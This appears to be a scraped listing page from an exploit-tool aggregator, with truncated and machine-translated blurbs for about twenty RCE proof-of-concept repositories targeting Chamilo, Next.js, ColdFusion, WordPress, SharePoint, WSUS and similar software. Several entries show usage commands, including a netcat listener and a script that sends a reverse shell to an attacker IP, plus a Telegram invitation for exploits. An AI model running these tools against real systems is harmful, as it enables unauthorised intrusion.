CVE-2023-422-Chamilo-LMS-RCE

先决条件 root@kitploit: pip install requests 信息 该Python脚本利用漏洞CVE-2023-422将文件上传到服务器，并使用该文件向netcat监听器发送反弹shell，整个过程无需身份验证。然而，你需要按照以下步骤来成功使用该Python脚本。 启动netcat监听器： root@kitploit: nc -lnvp 4444 执行Python脚本（示例）： root@kitploit: python3 main.py -u "http://lms.permx.htb" -p "80" -ni "10.10.16.24" -np "4445"...

React2Shell

React2Shell – Framework avanzato di scoperta e sfruttamento Un avanzato scanner e sfruttatore di vulnerabilità React Server Components RSC per CVE-2025-55182 e CVE-2025-66478 che colpiscono applicazioni Next.js. Questo strumento espande la ricerca e il proof-of-concept originale di React2Shell...

CVE-2026-48282

CVE-2026-48282-POC CVE-2026-48282 Adobe ColdFusion के Remote Development Service RDS में एक path traversal भेद्यता है, जिसका CVSS स्कोर 10.0 Critical है। यह बिना प्रमाणीकरण के हमलावरों को /CFIDE/main/ide.cfm एंडपॉइंट के माध्यम से मनमानी फ़ाइलें पढ़ने और लिखने की अनुमति देता है, जिससे Remote Code...

CVE-2024-25600

TG Junte-se a nós https://t.me/WanLiChangWanLiChang Junte-se a nós para receber regularmente vários EXP POC de vulnerabilidades CVE-2024-25600 Exploit O plugin Bricks Builder do WordPress tem uma vulnerabilidade RCE CVE-2024-25600 Script de exploração EXP para vulnerabilidade RCE CVE-2024-25600 n...

log4j2-bugmaker

Log4j2-BugMaker CVE-2021-44228 Log4Shell Schwachstellen-Demoprojekt Dies ist ein Demoprojekt zum Erlernen und Erforschen der Log4j2 Remote-Codeausführungsschwachstelle Log4Shell. ⚠️ Sicherheitswarnung Dieses Projekt dient ausschließlich Sicherheitsforschung und Bildungszwecken. Nicht in...

struts2-rce

Demonstração de Exploit para CVE-2017-5638 Baseado completamente em https://github.com/piesecurity/apache-struts2-CVE-2017-5638 Um cenário realista onde um projeto de referência para um framework é implantado em um container, mas com consequências terríveis. Para se familiarizar, veja o código e...

CVE-2026-22812

CVE-2026-22812 Visão Geral Uma ferramenta de exploração em Python para a vulnerabilidade de Execução Remota de Código RCE no OpenCode que afeta versões v1.0.216. Esta ferramenta fornece múltiplos vetores de ataque, incluindo execução de comandos, leitura/escrita de arquivos, upload/download de...

CVE-2026-0770

🚀 CVE-2026-0770 – Langflow RCE execglobal PoC Vulnerabilidade de Execução Remota de Código no Langflow 📌 Software Afetado Esta vulnerabilidade afeta: Langflow 🧠 Visão Geral da Vulnerabilidade CVE-2026-0770 é uma vulnerabilidade de Execução Remota de Código RCE no endpoint: root@kitploit:...

laravel-rce-cve-2018-15133

laravel-rce-cve-2018-15133 CVE-2018-15133...

CVE-2026-23744-script

Ein Skript für CVE-2026-23744, das MCPJam Inspector Versionen = 1.4.2 ausnutzt. Basierend auf dem hier verwendeten curl-Befehl: https://github.com/advisories/GHSA-232v-j27c-5pp6 Stellen Sie sicher, dass Ihre /etc/hosts-Datei korrekt ist und auf die Domain/den vhost des Ziels zeigt...

CVE-2024-38063

CVE-2024-38063 - Vulnerabilità di esecuzione remota di codice TCP/IP di Windows. Il verificarsi del BSOD può portare a RCE mentre il mio codice causa solo BSOD. Sto analizzando continuamente la patch e testando per portare al verificarsi di RCE nel sistema target. Star History Panoramica...

Centreon-20.04

CVE-2020-12688 - Аутентифицированное удаленное выполнение кода Centreon 20.04 Переменная имени команды в minHelpCommand.php RCE CVE-2020-12688 Документация последнего релиза Centreon: https://docs.centreon.com/current/en/releases/centreon-core.html Обнаружено: TheCyberGeek Дата обнаружения:...

CVE-2023-23397

CVE-2023-23397: Уязвимость удаленного выполнения кода в Microsoft Outlook CVE-2023-23397 - это уязвимость удаленного выполнения кода в Microsoft Outlook, популярном почтовом клиенте, используемом миллионами пользователей по всему миру. Эта уязвимость была обнаружена исследователем безопасности...

cve-2026-26114-poc

CVE-2026-26114 Utilizzare solo in laboratorio o in sistemi autorizzati ai test. Python PoC root@kitploit: pip install requests requests-ntlm python poc/cve202626114rce.py ^ --target http://sharepoint.local ^ --username spuser1 ^ --password "Password123!" ^ --domain SP19 ^ --cmd "cmd /c whoami...

CVE-2025-55182-shellinteractive

CVE-2025-55182-shellinteractive الأساس المستخدم من: https://github.com/Emiyelbarto/CVE-2025-55182-PoC شكرًا جزيلًا على المساهمة الرائعة. نظرة عامة CVE-2025-55182 هي ثغرة إلغاء تسلسل في Next.js/React Server Components تسمح للمهاجمين عن بُعد غير المصادَق عليهم بتنفيذ تعليمات برمجية عشوائية على...

Convergent-Time-Theory-Enhanced-iOS-Safari-RCE-CVE-2025-43529-

Convergent-Time-Theory-Enhanced-iOS-Safari-RCE-CVE-2025-43529- CTT-verbesserter iOS Safari Exploit basierend auf CVE-2025-43529...

CVE-2025-59287

Riproduzione della vulnerabilità CVE-2025-59287 WSUS CVE-2025-59287 — Iniezione di WolfShell Wolverine memory shell in avanti Panoramica CVE-2025-59287 sfrutta un difetto logico nei componenti correlati a WSUS per iniettare la memory shell WolfShell nel server di destinazione. Quando un...

CVE-2018-5955

CVE-2018-5955 CVE-2018-5955 GitStack 2.3.10 인증되지 않은 RCE 익스플로잇 익스플로잇: GitStack 2.3.10 인증되지 않은 원격 코드 실행 날짜: 2018-01-18 소프트웨어 링크: https://gitstack.com/ 익스플로잇 작성자: Kacper Szurek 원본 익스플로잇: https://www.exploit-db.com/exploits/43777 웹사이트: https://security.szurek.pl/ 카테고리: 원격 CVE: CVE-2018-5955...

CVE-2024-25600-WordPress-Bricks-Builder-RCE-PoC

CVE-2024-25600 — WordPress Bricks Builder RCE PoC Nicht authentifizierte Remote-Code-Ausführung-Sicherheitslücke in WordPress Bricks Builder id uid=33www-data gid=33www-data groups=33www-data...

tot-react-rce-CVE-2025-55182

Tot React RCE CVE-2025-55182 React-shell Tot React RCE - Next.js-Tool. Abhängigkeiten : aiohttp termcolor optional tabulate optional Abhängigkeiten installieren: root@kitploit: pip install -r requirements.txt Beispiel zum Ausführen: root@kitploit: python3 main.py -u http://target.com --lang id...